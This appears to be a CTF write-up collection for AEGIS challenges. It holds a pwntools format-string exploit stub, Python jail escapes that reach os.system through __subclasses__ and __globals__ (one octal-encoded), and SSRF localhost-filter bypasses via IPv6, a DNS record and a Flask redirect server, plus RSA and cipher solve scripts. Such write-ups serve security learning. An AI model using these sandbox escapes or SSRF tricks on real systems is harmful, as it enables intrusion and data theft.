卡在read不夠多字沒辦法用printf弄出canary中
from pwn import *
context.arch = 'amd64'
context.log_level = 'DEBUG'
r = process('./No_Brainer')
gdb.attach(r,'b *main+0xdb \n b *main+0x124',api=True)
command = b'Yvette\n%p%p%p%pV\x01'
r.sendafter(b'Name:',command)
command = b'kkkkkkkk'*2+b'\x00'+b'k'*(6582)+b'\n'
r.sendafter(b'you going: ',command)
r.interactive()
Hidden Sheet
用 Regular Expression 搜尋隱藏的工作表 "flag"
AEGIS{G00gl3_5h33t5_15_v3Ry_p0Pul4r}
__import__('os').system('cat f*')
AEGIS{600d_j0b_70_byp455_fl46}
pyjail bypass by mro
''.__class__.mro()[1].__subclasses__()[-4].__init__.__globals__['system']('cat flag.txt')
.__class__.mro()[1].__subclasses__()[-4]
will give us the os._wrap_close
if we got os._wrap_close
, we can use the code in this writeup to execute the command
AEGIS{und3rl1n3_c4n_d0_4_l07_7h1n65}
:::spoiler Source Code
while True:
ip = input("AEGIS> ")
if 'hint' in ip:
print(__import__('os').system('cat jail.py'))
exit()
try:
if any (i in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' for i in ip):
print("I don't like any \"LETTER\"!")
continue
print(eval(ip, {"__builtins__": {}}, {"__builtins__": {}}))
except Exception as error:
print("ERROR:", error)
print("Good luck next time!")
pass
:::
use unicode character to bypass restriction in ''.__class__.mro()[1].__subclasses__()[-4].__init__.__globals__
accroding to this artical, we can use octal number to bypass 'system'
and 'cat flag.txt'
restrict
''.__class__.mro()[1].__subclasses__()[-5].__init__.__globals__["\163\171\163\164\145\155"]("\143\141\164\40\146\154\141\147\56\164\170\164")
AEGIS{w3ll_d0n3_637_d474_15_u53ful}
賽後五分鐘解出來 永遠的痛 (
:::spoiler
limit = 70
i = input("AEGIS> ")[:71]
if 'hint' in i:
print(__import__('os').system('cat jail.py'))
exit()
if len(i)>limit:
print(f"You've entered too many characters. The maximum limit is {limit}.")
exit()
try:
print(eval(i, {"__builtins__": {}}, {"__builtins__": {}}))
except Exception:
print("Good luck next time!")
exit()
::: 拔掉 builtins 之後限制 70 個字 接下來就是枯燥的把所有 subclasses 底下的 module 全部拉出來測 最後會抓到 externalFileloader 他可以讀擋 就降 :(
string -> hex decode -> map position to image
#!/usr/bin/python3.10
from PIL import Image
# open a new image
img = Image.new("RGB", (300 , 100), "white")
img = img.convert("RGB")
data = [(35,23),...
for i in data:
img.putpixel(i, (0,0,0))
img.save("sol.png")
AEGIS{CUTE_SHIROMO}
use ipv6 bypass localhost blacklist filter
the regex filter is broken. we don;t relly need an .com.tw
domain to solve this challenge. Also, it doesn't check that the url must be the begin, so we can put it in the payload part
there is also 1 pitfall, the &
symbol will become the payload of /api
, not for the localhost. So we need to url encode it
http://35.229.233.189:8081/api?url=[::]:80/?cmdid=2%26bluh=a2comatw
AEGIS{1_w1ll_c0m3_b4ck_f0r_r3v3n63}
The second challenge add :
into localhost blacklist filter. So we can't use ipv6 to bypass
After doing some search, it can be found some malicious DNS record which will point to localhost, for example: spoofed.burpcollaborator.net
http://35.221.231.200:8082/api?url=spoofed.burpcollaborator.net/?cmdid=2%26bluh=a2comatw
After get the flag, we need to remove the '
in it
AEGIS{y0u_c4n7_d0_7h15_70_m3}
The challenge don't let us add the param to the localhost
make a redirect server to redirect to localhost with cmdid
import os
from flask import Flask,redirect
app = Flask(__name__)
@app.route('/')
def hello():
return redirect("http://localhost/?cmdid=2", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
http://35.201.250.16:8083/api?url=eac2-140-113-87-246.ngrok-free.app/?bluh=a2comatw
AEGIS{h0w_0n_34r7h_d1d_y0u_d0_7h47_?}
:::spoiler Source Code
import random
import string
import itertools
pekoS = []
for peko in itertools.product(['P', 'p'], ['E', 'e'], ['K', 'k'], ['O', 'o']):
pekoS.append(''.join(peko))
random.shuffle(pekoS)
with open('message.txt', encoding='utf8') as f, open('message.peko', 'w') as o:
peko = ''
for c in f.read().lower():
if (c in string.ascii_letters):
for x in c.encode().hex():
peko += pekoS[int(x, 16)]
else:
peko += c
o.write(peko)
with open('flag.txt', encoding='utf8') as f, open('flag.peko', 'w') as o:
flag = f.read()
assert len(flag) == 62
peko = ''
for p in flag:
for i in f"{ord(p):04x}":
peko += pekoS[int(i, 16)]
o.write(peko)
:::
很簡單但是處理很麻煩的題目 給 message.peko 滿明顯就是要做詞頻 而且他是用 random map hex 的方式混淆 所以先做單位的處理 接著兩位一組轉成一個隨機英文字
:::spoiler Frequency analysis
#!/usr/bin/python3.10
import itertools
import random
import string
import itertools
pekoS = []
for peko in itertools.product(['P', 'p'], ['E', 'e'], ['K', 'k'], ['O', 'o']):
pekoS.append(''.join(peko))
def clean(m):
return m.replace(".", "").replace(" " , "").replace("'", "").replace(",", "").replace("\"", "").replace("-", "").replace(")", "").replace("(", "")
sets = "0123456789abcdef"
# return pekos into hex
dire = {}
for i in range(16):
dire[pekoS[i]] = sets[i]
m = open("message.peko", "r").read()
for i in range(16):
m = m.replace(pekoS[i], sets[i])
# map hex to random ascii
new = set([clean(m)[i:i+2] for i in range(0, len(clean(m)), 2)])
rep = random.sample(string.ascii_lowercase, len(new))
new_m = ' '.join([clean(m)[i:i+2] for i in range(0, len(clean(m)), 2)])
for i in range(len(new)):
new_m = new_m.replace(list(new)[i], rep[i])
print(dire)
print(clean(m))
print(new_m.replace(" ", ""))
:::
做完之後丟到 Guballa 可以拿到原文 如果做詞頻分析怕東西不准可以找看看原文 https://virtualyoutuber.fandom.com/wiki/Usada_Pekora
接著更麻煩的把兩邊資訊對上 就可以拿到 flag 了
而且這題很哭得是不可以因為 {:04x}
自己聰明把 pekOpekO 拔掉
會害你被 flag 誤導
:::spoiler Reverse mapping
#!/usr/bin/python3.10
import itertools
import random
import string
import itertools
from Crypto.Util.number import long_to_bytes
def clean(m):
return m.replace(".", "").replace(" " , "").replace("'", "").replace(",", "").replace("\"", "").replace("-", "").replace(")", "").replace("(", "")
pekoS = []
peko = {'peKo': '0', 'Peko': '1', 'pEkO': '2', 'peko': '3', 'PEKo': '4', 'peKO': '5', 'PekO': '6', 'pEKO': '7', 'pEKo': '8', 'PEko': '9', 'PEkO': 'a', 'PeKo': 'b', 'PEKO': 'c', 'pekO': 'd', 'PeKO': 'e', 'pEko': 'f'}
new = "pekorahailsfromthenationofpekolandwheresheclaimssheisamemberofroyaltywhilenotmuchiscurrentlyknownaboutpekolanditisassumedthatitsdenizensarelikepekoraanimalshumanswithrabbitearsandcomparativelylonglifespansandthattherabbitmotifapparentinpekorasfashionandaccessoriesissignificanttotheircultureaccordingtopekorapekoistheonlywordinthepekolandishlanguageinlinewithherclaimsofaroyalupbringingpekoraspersonalitycanbedescribedasoutwardlybrattyhaughtyimmatureandsurlybutgenuinelyplayfulandfriendlybutwhennotoncamerashehasbeennotedbyotherhololivegirlsaspoliteandshytoasshedoesntlikepeopleinherspaceaswellasonetointernalizeherpainasnotedbyhoushoumarinewhichendedupprematurelyendingoneofherstreamswithherintears"
m = open("./message.peko", "r").read()
flag = open("./flag.peko", "r").read()#.replace("pekOpekO", "")
m = clean(m)
assert len(new) * 2 == len(m) // 4
new = new.encode().hex()
new_map = {}
m = [m[i:i+4] for i in range(0, len(m), 4)]
for i in range(0, len(new)):
if new[i] not in new_map:
new_map[m[i]] = new[i]
print(new_map)
s = ""
flag = [flag[i:i+4] for i in range(0, len(flag), 4)]
for i in range(0, len(flag)):
s += new_map[flag[i]]
flag = ""
for i in range(0, len(s), 4):
flag += chr(int(s[i:i+4], 16))
print(f"AEGIS{{{flag}}}")
:::
:::spoiler Source Code
from SECRET import flag, es
from Crypto.Util.number import *
import random
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e1, e2 = random.choices(es, k=2)
ct1, ct2 = pow(bytes_to_long(flag), e1, n), pow(bytes_to_long(flag), e2, n)
print(f'{n = }')
print(f'{es = }')
print(f'{ct1 = }')
print(f'{ct2 = }')
:::
:::spoiler Solve script
#!/usr/bin/python3.10
from string import printable
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, iroot
from functools import reduce
from Crypto.Util.number import long_to_bytes
exec(open("out.txt", "r").read())
def CRT(r, mod):
M = reduce(lambda x , y : x * y , mod)
ans = 0
for i in range(len(r)):
m = M // mod[i]
ans += r[i] * m * invert(m , mod[i])
return ans % M
#(e1 * a) + (e2 * b) = gcd(e1, e2)
def egcd(a , b):
if a == 0:
return (b , 0 , 1)
else:
g , y , x = egcd(b % a , a)
return (g ,x - (b // a) * y , y)
for e1 in es:
for e2 in es:
print(e1, e2)
_ , s1 , s2 = map(int , egcd(e1 , e2))
flag = (pow(ct1 , s1 , n) * pow(ct2 , s2 , n)) % n
res = iroot(flag, 3)
if list(res)[1]:
print(long_to_bytes(res[0]))
exit()
:::
@sixkwnp 大佬太神啦
from out import b1, b2, e, ct
from Crypto.Util.number import *
from gmpy2 import isqrt
c1 = b1+1
c2 = b2+1
a1 = isqrt(2*b1 + 1)
a2 = isqrt(2*b2 + 1)
assert a1**2 + b1**2 == c1**2
assert a2**2 + b2**2 == c2**2
assert a1 < b1 and a2 < b2
assert isPrime(a1) and isPrime(a2)
d = pow(65537, -1, (a1-1)*(a2-1))
m = pow(ct, d, a1*a2)
print(long_to_bytes(m))
AEGIS{py7h460r34n_7r1pl3_1n_r54_UHl0aGF}